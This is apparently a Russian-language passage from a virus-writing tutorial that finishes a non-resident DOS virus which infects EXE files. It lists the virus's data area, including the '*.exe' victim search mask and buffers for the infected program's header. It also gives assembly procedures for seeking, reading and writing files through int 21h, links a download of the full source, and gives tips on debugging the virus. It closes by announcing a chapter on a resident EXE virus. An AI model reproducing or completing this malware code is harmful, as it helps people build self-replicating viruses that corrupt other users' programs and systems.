Несколько слов об испытании вируса

Полный текст нерезидентного EXE-вируса

Работа завершена

Используемые процедуры

Область данных вируса

Приведем данные, которыми оперирует уже почти созданный нами EXE-вирус:

;Собственная DTA ;вируса new_dta db 128 dup (0) ;Маска для поис- ;ка файла - жер- ;твы maska db '*.exe',0 ;Буфер для хра- ;нения имени ;найденного ;файла fn db 12 dup (' '),0 ;Массив для хра- ;нения заголовка header db 27 dup ( 0 ) descrypt dw 0 ;Ячейка для дес- ;криптора to_02h dw 0 ;Эти ячейки ис- to_04h dw 0 ;пользуются для to_16h dw 0 ;хранения пара- my_ip dw 0 ;метров заголо- my_cs dw 0 ;вка заражаемой my_16h dw 0 ;программы и my_ss dw 0 ;той, из которой my_sp dw 0 ;стартовал old_ss dw 0 ;вирус old_sp dw 0 ; f_seek_low dw 0 ;В эти перемен- f_seek_high dw 0 ;нные записывае- ;тся значение ;указателя ;Вирусный стек new_stack dw 50 dup ( 0 ) last db 0 ;Сюда помещается ;последний байт ;заражаемого ;файла db '7' ;Последний байт ;вирусного кода

Осталось только привести тексты процедур, которыми пользуется вирус, и работа почти закончена. Они выглядят так:

setpointer proc ;Процедура уста- mov ax,4200h ;навливает ука- mov bx,descrypt ;затель в файле int 21h ;на заданный ret ;байт. .. setpointer endp read proc ;Процедура чте- mov ah,3fh ;ния из файла... mov bx,descrypt int 21h ret read endp write proc ;Процедура за- mov ah,40h ;писи в файл. .. mov bx,descrypt int 21h ret write endp mover proc ;Процедура умно- mov cx,04h ;жения двойного left: shl dx,1 ;слова CX : DX shl ax,1 ;на 16 методом adc dx,00h ;сдвига. .. loop left ; ret ; mover endp

Приведенные процедуры очень просты и довольно эффективны. Процедура "mover" , как уже говорилось, взята из книги П. Абеля " Язык ассемблера для IBM PC и программирования ", естественно, без разрешения автора.

Только что мы разработали вирусную программу, заражающую EXE-файлы. Последний штрих - напишем несколько строк, почти стандартных для всех ассемб лерных программ:

;Длина вирусного ;кода в байтах vir_len equ $-vir prg ends end vir

Для лучшего понимания всего изложенного в этой главе приведем полный текст написанной нами программы:

Скачать exenotsr.asm 11(Kb)

В принципе, процесс испытания созданного вируса ничем не отличается от ранее рассмотренного. Обращаю внимание читателей только на одну деталь:

Отладчик AFD_RUS.COM корректно работает только с неупакованными EXE - файлами.Если вы попытаетесь с его помощью отладить EXE - программу, упакованную какой - либо утилитой сжатия (например, DIET, LZ_EXE или PKLITE), то из этого ничего не получится. Конечно, программа не испортится,но результаты работы отладчика будут неверными. Для отладки упакованных программ можно воспользоваться TURBO DEBUGGER фирмы BORLAND INTERNATIONAL, но еще лучше распаковать такую программу и применить отладчик попроще.

Если в программе есть команды,изменяющие SS и SP, то при " прохождении " ее AFD_RUS.COM результаты работы отладчика могут быть совершенно неожиданными. Это происходит потому, что указанный отладчик использует стек исследуемой им программы.

Все только что отмеченные недостатки AFD_шки ни в коей мере не дают сделать вывод,что этот отладчик плохой. Hаоборот,он во многих отношениях значительно превосходит даже TURBO DEBUGGER. Возможностей AFD_RUS вполне достаточно при отладке примерно 95 % программ.

Глава 2. Разработка резидентного EXE - вируса